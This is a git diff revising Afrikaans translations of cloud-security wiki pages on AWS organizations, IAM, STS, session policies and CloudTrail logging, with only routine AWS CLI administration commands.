diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index f75d0953f..917c2f002 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -12,7 +12,7 @@ In AWS is daar 'n **root rekening,** wat die **ouerhouer is vir al die rekeninge Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie hulpbronne van 'n ander rekening kan toegang nie** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan jy grense tussen ontplooiings skep. -Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie Gebruiker rekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lid rekeninge. +Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie gebruikersrekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys is, en een of meer lidrekeninge. - Die **bestuurrekening (die root rekening)** is die rekening wat jy gebruik om die organisasie te skep. Van die organisasie se bestuurrekening af, kan jy die volgende doen: @@ -20,20 +20,20 @@ Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rek - Nooi ander bestaande rekeninge na die organisasie - Verwyder rekeninge uit die organisasie - Bestuur uitnodigings -- Pas beleide toe op entiteite (wortels, OUs, of rekeninge) binne die organisasie +- Pas beleide toe op entiteite (wortels, OU's, of rekeninge) binne die organisasie - Aktiveer integrasie met ondersteunende AWS dienste om diensfunksionaliteit oor al die rekeninge in die organisasie te bied. - Dit is moontlik om in te log as die root gebruiker met die e-pos en wagwoord wat gebruik is om hierdie root rekening/organisasie te skep. -Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lid rekeninge opgeloop word. Jy kan nie 'n organisasie se bestuurrekening verander nie. +Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lidrekeninge opgeloop word. Jy kan nie 'n organisasie se bestuurrekening verander nie. -- **Lid rekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. Jy kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas. -- Lid rekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word). +- **Lidrekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. Jy kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas. +- Lidrekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` ### **Organisasie-eenhede** -Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan wees **toegepas op al die kindrekeninge**. Let daarop dat 'n OU ander OU's as kinders kan hê. +Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan **toegepas word op al die kindrekeninge**. Let daarop dat 'n OU ander OU's as kinders kan hê. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU @@ -43,10 +43,10 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU 'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCP's is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken nie**. In plaas daarvan spesifiseer SCP's die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie se wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lidrekeninge**. Dit is die ENIGE manier waarop **selfs die wortelgebruiker gestop kan word** om iets te doen. Byvoorbeeld, dit kan gebruik word om gebruikers te stop om CloudTrail te deaktiveer of rugsteun te verwyder.\ -Die enigste manier om dit te omseil, is om ook die **master account** wat die SCP's konfigureer, te kompromitteer (master account kan nie geblokkeer word nie). +Die enigste manier om dit te omseil, is om ook die **meesterrekening** wat die SCP's konfigureer, te kompromitteer (meesterrekening kan nie geblokkeer word nie). > [!WARNING] -> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang tot 'n openbare S3-bucket** in jou rekening te verkry nie. +> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang te verkry tot 'n openbare S3-bucket** in jou rekening nie. SCP voorbeelde: @@ -73,14 +73,14 @@ Vind **JSON voorbeelde** in [https://docs.aws.amazon.com/organizations/latest/us arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Let daarop dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem: +Let wel dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US publieke Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identiteit en Toegang Bestuur +## IAM - Identiteit en Toegangsbestuur IAM is die diens wat jou sal toelaat om **Verifikasie**, **Magtiging** en **Toegangsbeheer** binne jou AWS-rekening te bestuur. @@ -94,7 +94,7 @@ IAM kan gedefinieer word deur sy vermoë om verifikasie, magtiging en toegangsbe Wanneer jy vir die eerste keer 'n Amazon Web Services (AWS) rekening skep, begin jy met 'n enkele aanmeld identiteit wat **volledige toegang tot alle** AWS dienste en hulpbronne in die rekening het. Dit is die AWS rekening _**wortel gebruiker**_ en word verkry deur in te teken met die **e-posadres en wagwoord wat jy gebruik het om die rekening te skep**. -Let daarop dat 'n nuwe **admin gebruiker** **minder regte as die wortel gebruiker** sal hê. +Let wel dat 'n nuwe **admin gebruiker** **minder regte as die wortel gebruiker** sal hê. Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en om hierdie een te vermy. @@ -112,25 +112,25 @@ Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API token - **Geheime toegang sleutel ID**: 40 ewekansige groot en klein letters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie). Wanneer jy die **Toegang Sleutel** moet **verander**, is dit die proses wat jy moet volg:\ -&#xNAN;_Create 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op stelsel/toepassing -> merk oorspronklike een as inaktief -> Toets en verifieer dat die nuwe toegang sleutel werk -> Verwyder ou toegang sleutel_ +_Skep 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op die stelsel/toepassing -> merk die oorspronklike een as inaktief -> Toets en verifieer dat die nuwe toegang sleutel werk -> Verwyder die ou toegang sleutel_ ### MFA - Multi-Faktor Verifikasie -Dit word gebruik om 'n **addisionele faktor vir verifikasie** te **skep** benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\ +Dit word gebruik om 'n **addisionele faktor vir verifikasie** te skep benewens jou bestaande metodes, soos wagwoord, wat 'n multi-faktor vlak van verifikasie skep.\ Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos Google Authenticator gratis gebruik om 'n MFA in AWS te aktiveer. Beleide met MFA voorwaardes kan aan die volgende geheg word: - 'n IAM gebruiker of groep -- 'n hulpbron soos 'n Amazon S3 emmer, Amazon SQS tou, of Amazon SNS onderwerp +- 'n hulpbron soos 'n Amazon S3-bucket, Amazon SQS-ry, of Amazon SNS-tema - Die vertrouensbeleid van 'n IAM rol wat deur 'n gebruiker aanvaar kan word As jy 'n hulpbron wat **MFA nagaan** via CLI wil **toegang**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\ -Let daarop dat **`AssumeRole` geloofsbriewe nie hierdie inligting bevat nie**. +Let wel dat **`AssumeRole` geloofsbriewe nie hierdie inligting bevat nie**. ```bash aws sts get-session-token --serial-number --token-code ``` -Soos [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), is daar 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie. +As [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), daar is 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie. ### [IAM gebruikersgroepe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) @@ -147,13 +147,13 @@ Hier is 'n paar belangrike eienskappe van gebruikersgroepe: ### [IAM rolle](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer word nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigiemand wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**federated gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM. +'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer word nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigiemand wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanneem om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**gefedereerde gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM. -'n IAM rol bestaan uit **twee tipes beleide**: 'n **vertrouensbeleid**, wat nie leeg kan wees nie, wat **definieer wie die rol kan aanvaar**, en 'n **toestemmingsbeleid**, wat nie leeg kan wees nie, wat **definieer wat dit kan toegang**. +'n IAM rol bestaan uit **twee tipes beleide**: 'n **vertrouensbeleid**, wat nie leeg kan wees nie, wat **definieer wie die rol kan aanneem**, en 'n **toestemmingsbeleid**, wat nie leeg kan wees nie, wat **definieer wat dit kan toegang**. -#### AWS Security Token Service (STS) +#### AWS Sekuriteits Token Diens (STS) -AWS Security Token Service (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdhede** fasiliteer. Dit is spesifiek ontwerp vir: +AWS Sekuriteits Token Diens (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdhede** fasiliteer. Dit is spesifiek ontwerp vir: ### [Tydelike geloofsbriewe in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) @@ -166,7 +166,7 @@ AWS Security Token Service (STS) is 'n webdiens wat die **uitreiking van tydelik Word gebruik om toestemmings toe te ken. Daar is 2 tipes: - AWS bestuurde beleide (vooraf geconfigureer deur AWS) -- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), met behulp van die beleidgenerator (n GUI-weergawes wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf. +- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), met behulp van die beleidsgenerator (n GUI-uitsig wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf. Deur **standaard toegang** is **weggeneem**, toegang sal toegestaan word as 'n eksplisiete rol gespesifiseer is.\ As **enkele "Deny" bestaan, sal dit die "Allow" oorskry**, behalwe vir versoeke wat die AWS-rekening se wortel sekuriteitsgeloofsbriewe gebruik (wat standaard toegelaat word). @@ -197,8 +197,8 @@ Die [spesifieke velde wat gebruik kan word vir voorwaardes per diens is hier ged #### Inline Beleide -Hierdie tipe beleide is **direk toegeken** aan 'n gebruiker, groep of rol. Dan verskyn hulle nie in die Beleide lys nie soos enige ander een kan hulle gebruik.\ -Inline beleide is nuttig as jy wil **'n streng een-tot-een verhouding tussen 'n beleid en die identiteit** wat dit toegepas word, handhaaf. Byvoorbeeld, jy wil seker maak dat die toestemmings in 'n beleid nie per ongeluk aan 'n identiteit anders as die een waarvoor hulle bedoel is, toegeken word nie. Wanneer jy 'n inline beleid gebruik, kan die toestemmings in die beleid nie per ongeluk aan die verkeerde identiteit geheg word nie. Boonop, wanneer jy die AWS Bestuurskonsol gebruik om daardie identiteit te verwyder, word die beleide wat in die identiteit ingebed is, ook verwyder. Dit is omdat hulle deel van die hoof entiteit is. +Hierdie tipe beleide is **direk toegeken** aan 'n gebruiker, groep of rol. Dan verskyn hulle nie in die Beleide lys nie, aangesien enige ander dit kan gebruik.\ +Inline beleide is nuttig as jy wil **'n streng een-tot-een verhouding tussen 'n beleid en die identiteit** wat dit toegepas word, handhaaf. Byvoorbeeld, jy wil seker maak dat die toestemmings in 'n beleid nie per ongeluk aan 'n identiteit anders as die een waarvoor dit bedoel is, toegeken word nie. Wanneer jy 'n inline beleid gebruik, kan die toestemmings in die beleid nie per ongeluk aan die verkeerde identiteit geheg word nie. Daarbenewens, wanneer jy die AWS Bestuurskonsol gebruik om daardie identiteit te verwyder, word die beleide wat in die identiteit ingebed is, ook verwyder. Dit is omdat hulle deel van die hoof entiteit is. #### Hulpbron Emmer Beleide @@ -216,7 +216,7 @@ IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegan ### Sessie Beleide -'n Sessie beleid is 'n **beleid wat ingestel word wanneer 'n rol aanvaar word** op een of ander manier. Dit sal soos 'n **IAM grens vir daardie sessie wees**: Dit beteken dat die sessie beleid nie toestemmings toeken nie, maar **beperk hulle tot diegene wat in die beleid aangedui word** (met die maksimum toestemmings wat die rol het). +'n Sessie beleid is 'n **beleid wat ingestel word wanneer 'n rol aanvaar word** op een of ander manier. Dit sal soos 'n **IAM grens vir daardie sessie wees**: Dit beteken dat die sessie beleid nie toestemmings toeken nie, maar **beperk hulle tot diegene wat in die beleid aangedui word** (met die maksimum toestemmings diegene wat die rol het). Dit is nuttig vir **veiligheidsmaatreëls**: Wanneer 'n admin 'n baie bevoorregte rol gaan aanvaar, kan hy die toestemming beperk tot slegs diegene wat in die sessie beleid aangedui word in die geval dat die sessie gecompromitteer word. ```bash @@ -226,24 +226,24 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Let wel dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [ongemagtigde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Let wel dat **AWS dalk sessiebeleide aan sessies kan toevoeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [ongemagtigde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). As jy dus op 'n stadium die fout "… omdat geen sessiebeleid dit toelaat nie …" teëkom, en die rol toegang het om die aksie uit te voer, is dit omdat **daar 'n sessiebeleid is wat dit verhinder**. ### Identiteitsfederasie Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** tot AWS is, toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\ -'n Voorbeeld van 'n identiteitsverskaffer kan jou eie korporatiewe **Microsoft Active Directory** (via **SAML**) of **OpenID** dienste (soos **Google**) wees. Gefedereerde toegang sal dan die gebruikers binne dit toelaat om AWS te benader. +'n Voorbeeld van 'n identiteitsverskaffer kan jou eie korporatiewe **Microsoft Active Directory** (via **SAML**) of **OpenID** dienste (soos **Google**) wees. Federale toegang sal dan die gebruikers binne dit toelaat om AWS te benader. Om hierdie vertroue te konfigureer, word 'n **IAM Identiteitsverskaffer gegenereer (SAML of OAuth)** wat die **ander platform** sal **vertrou**. Dan word ten minste een **IAM rol (wat vertrou) aan die Identiteitsverskaffer toegeken**. As 'n gebruiker van die vertroude platform AWS benader, sal hy as die genoemde rol toegang hê. -Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdeparty platform. Dan kan verskeie **IAM rolle vertrou** die derdeparty Identiteitsverskaffer en die derdeparty platform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem. +Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdeparty-platform. Dan kan verskeie **IAM rolle vertrou** die derdeparty Identiteitsverskaffer en die derdeparty-platform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem.
### IAM Identiteitsentrum -AWS IAM Identiteitsentrum (opvolger van AWS Enkelteken) brei die vermoëns van AWS Identiteits- en Toegangsbestuur (IAM) uit om 'n **sentraal plek** te bied wat die **administrasie van gebruikers en hul toegang tot AWS** rekeninge en wolktoepassings saambring. +AWS IAM Identiteitsentrum (opvolger van AWS Enkelteken) brei die vermoëns van AWS Identiteits- en Toegangsbestuur (IAM) uit om 'n **sentraal plek** te bied wat die **administrasie van gebruikers en hul toegang tot AWS** rekeninge en wolkdienste saambring. Die aanmeld domein gaan iets soos `.awsapps.com` wees. @@ -257,7 +257,7 @@ Om gebruikers aan te meld, is daar 3 identiteitsbronne wat gebruik kan word: In die eenvoudigste geval van die Identiteitsentrum gids, sal die **Identiteitsentrum 'n lys van gebruikers & groepe hê** en sal in staat wees om **beleide** aan hulle toe te ken vir **enige van die rekeninge** van die organisasie. -Om toegang aan 'n Identiteitsentrum gebruiker/groep tot 'n rekening te gee, sal 'n **SAML Identiteitsverskaffer wat die Identiteitsentrum vertrou, geskep word**, en 'n **rol wat die Identiteitsverskaffer met die aangeduide beleide vertrou, sal in die bestemmingsrekening geskep word**. +Om toegang te gee aan 'n Identiteitsentrum gebruiker/groep tot 'n rekening, sal 'n **SAML Identiteitsverskaffer wat die Identiteitsentrum vertrou, geskep word**, en 'n **rol wat die Identiteitsverskaffer met die aangeduide beleide vertrou, sal in die bestemmingsrekening geskep word**. #### AwsSSOInlinePolicy @@ -267,20 +267,20 @@ Daarom, selfs al sien jy 2 rolle met 'n inline beleid genaamd **`AwsSSOInlinePol ### Kruisrekening Vertroue en Rolle -**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan, **'n ander gebruiker** (vertrou) toelaat om **sy rekening te benader** maar net **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\ -Dit word aanbeveel om **die gebruiker wat vertrou is spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders kan ander geverifieerde gebruikers soos gefedereerde gebruikers ook hierdie vertroue misbruik. +**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan **'n ander gebruiker** (vertrou) toelaat om **sy rekening te benader** maar net **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\ +Dit word aanbeveel om **die gebruiker wat vertrou is spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders sal ander geverifieerde gebruikers soos federale gebruikers ook hierdie vertroue kan misbruik. ### AWS Eenvoudige AD Nie ondersteun nie: -- Vertrouverhoudings +- Vertrouensverhoudings - AD Administrasiesentrum - Volledige PS API ondersteuning - AD Herwinningsblik - Groep Gemanagte Diensrekeninge - Skema-uitbreidings -- Geen Direkte toegang tot OS of Instansies nie +- Geen direkte toegang tot OS of Instansies nie #### Web Federasie of OpenID Verifikasie @@ -289,31 +289,33 @@ Die toepassing gebruik die AssumeRoleWithWebIdentity om tydelike akkrediteer te ### Ander IAM opsies - Jy kan **'n wagwoordbeleid instelling** opsies soos minimum lengte en wagwoordvereistes stel. -- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer ...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**. +- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skepping tyd, is wagwoord geaktiveer ...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**. -AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-granulêre toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minimale-toestemmings te verseker**. +AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-granulêre toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minst-bevoegdheidstoestemmings** te verseker. ### IAM ID Vooraf In [**hierdie bladsy**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) kan jy die **IAM ID vooraf** van sleutels vind, afhangende van hul aard: -| ABIA | [AWS STS diens draer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| Identifier Code | Beskrywing | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| ABIA | [AWS STS diens draer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + | ACCA | Konteks-spesifieke akkrediteer | | AGPA | Gebruikersgroep | | AIDA | IAM gebruiker | | AIPA | Amazon EC2 instansieprofiel | -| AKIA | Toegangssleutel | +| AKIA | Toegang sleutel | | ANPA | Gemanagte beleid | | ANVA | Weergawe in 'n gemanagte beleid | | APKA | Publieke sleutel | | AROA | Rol | | ASCA | Sertifikaat | -| ASIA | [Tydelike (AWS STS) toegangssleutel ID's](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) gebruik hierdie vooraf, maar is uniek slegs in kombinasie met die geheime toegangssleutel en die sessietoken. | +| ASIA | [Tydelike (AWS STS) toegang sleutel ID's](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) gebruik hierdie vooraf, maar is uniek slegs in kombinasie met die geheime toegang sleutel en die sessietoken. | ### Aanbevole toestemmings om rekeninge te oudit -Die volgende voorregte bied verskeie lees toegang van metadata: +Die volgende voorregte bied verskeie lees toegang tot metadata: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 34597ebc6..79ea4ae6f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenis logs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n oudit spoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opsporing. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker. +AWS CloudTrail **registreer en monitor aktiwiteit binne jou AWS omgewing**. Dit vang gedetailleerde **gebeurtenislogs**, insluitend wie wat gedoen het, wanneer, en van waar, vir alle interaksies met AWS hulpbronne. Dit bied 'n ouditspoor van veranderinge en aksies, wat help met sekuriteitsanalise, nakoming ouditering, en hulpbron verandering opvolging. CloudTrail is noodsaaklik om gebruikers- en hulpbron gedrag te verstaan, sekuriteitsposisies te verbeter, en regulatoriese nakoming te verseker. Elke gelogde gebeurtenis bevat: @@ -16,15 +16,15 @@ Elke gelogde gebeurtenis bevat: - Signing.amazonaws.com - Van AWS Bestuurskonsol - console.amazonaws.com - Wortel gebruiker van die rekening - lambda.amazonaws.com - AWS Lambda -- Die versoek parameters: `requestParameters` +- Die versoekparameters: `requestParameters` - Die respons elemente: `responseElements` Gebeurtenisse word na 'n nuwe loglêer **ongeveer elke 5 minute in 'n JSON-lêer** geskryf, hulle word deur CloudTrail gehou en uiteindelik, loglêers word **aan S3 afgelewer ongeveer 15min na**.\ CloudTrail se logs kan **geaggregeer word oor rekeninge en oor streke.**\ CloudTrail laat toe om **loglêer integriteit te gebruik om te kan verifieer dat jou loglêers onveranderd gebly het** sedert CloudTrail dit aan jou afgelewer het. Dit skep 'n SHA-256 hash van die logs binne 'n digest-lêer. 'n sha-256 hash van die nuwe logs word elke uur geskep.\ -Wanneer 'n Trail geskep word, sal die gebeurtenis keuses jou toelaat om die trail aan te dui om te log: Bestuur, data of insig gebeurtenisse. +Wanneer 'n Trail geskep word, sal die gebeurteniskeuses jou toelaat om die trail aan te dui om te log: Bestuur, data of insig gebeurtenisse. -Logs word in 'n S3-bucket gestoor. Standaard word Server Side Encryption (SSE-S3) gebruik, so AWS sal die inhoud ontsleutel vir die mense wat toegang het, maar vir bykomende sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik. +Logs word in 'n S3-bucket gestoor. Standaard word Server Side Encryption (SSE-S3) gebruik, so AWS sal die inhoud ontsleutel vir die mense wat toegang daartoe het, maar vir addisionele sekuriteit kan jy SSE met KMS en jou eie sleutels gebruik. Die logs word in 'n **S3-bucket met hierdie naamformaat** gestoor: @@ -38,7 +38,7 @@ Log Lêer Naam Konvensie ![](<../../../../images/image (122).png>) -Boonop, **digest-lêers (om lêer integriteit te kontroleer)** sal binne die **dieselfde bucket** wees in: +Boonop sal **digest-lêers (om lêer integriteit te kontroleer)** binne die **dieselfde bucket** wees in: ![](<../../../../images/image (195).png>) @@ -61,7 +61,7 @@ Wanneer 'n CloudTrail geskep word, is dit moontlik om aan te dui om cloudtrail t Op hierdie manier kan jy CloudTrail maklik in al die streke van al die rekeninge konfigureer en die logs in 1 rekening sentraliseer (wat jy moet beskerm). -### Log Lêers Kontrole +### Loglêers Kontrole Jy kan kontroleer dat die logs nie verander is nie deur te loop ```javascript @@ -83,14 +83,14 @@ CloudTrail Event History laat jou toe om in 'n tabel die logs wat opgeneem is, t ### Insights -**CloudTrail Insights** analiseer outomaties **skrywe bestuur gebeurtenisse** van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insight gebeurtenis sien. Hierdie gebeurtenisse maak **die vind en reaksie op ongewone API aktiwiteit makliker** as ooit. +**CloudTrail Insights** analiseer outomaties **skryfbestuur** gebeurtenisse van CloudTrail spore en **waarsku** jou oor **ongewone aktiwiteit**. Byvoorbeeld, as daar 'n toename in `TerminateInstance` gebeurtenisse is wat verskil van gevestigde baselines, sal jy dit as 'n Insight gebeurtenis sien. Hierdie gebeurtenisse maak **dit makliker om ongewone API aktiwiteit te vind en daarop te reageer** as ooit tevore. Die insigte word in dieselfde emmer as die CloudTrail logs gestoor in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security - -| CloudTrail Log File Integrity |
  • Verifieer of logs gemanipuleer is (gewysig of verwyder)
  • Gebruik digest lêers (skep hash vir elke lêer)

    • SHA-256 hashing
    • SHA-256 met RSA vir digitale ondertekening
    • privaat sleutel besit deur Amazon
  • Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)
| +| Control Name | Implementation Details | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| CloudTrail Log File Integrity |
  • Verifieer of logs gemanipuleer is (gewysig of verwyder)
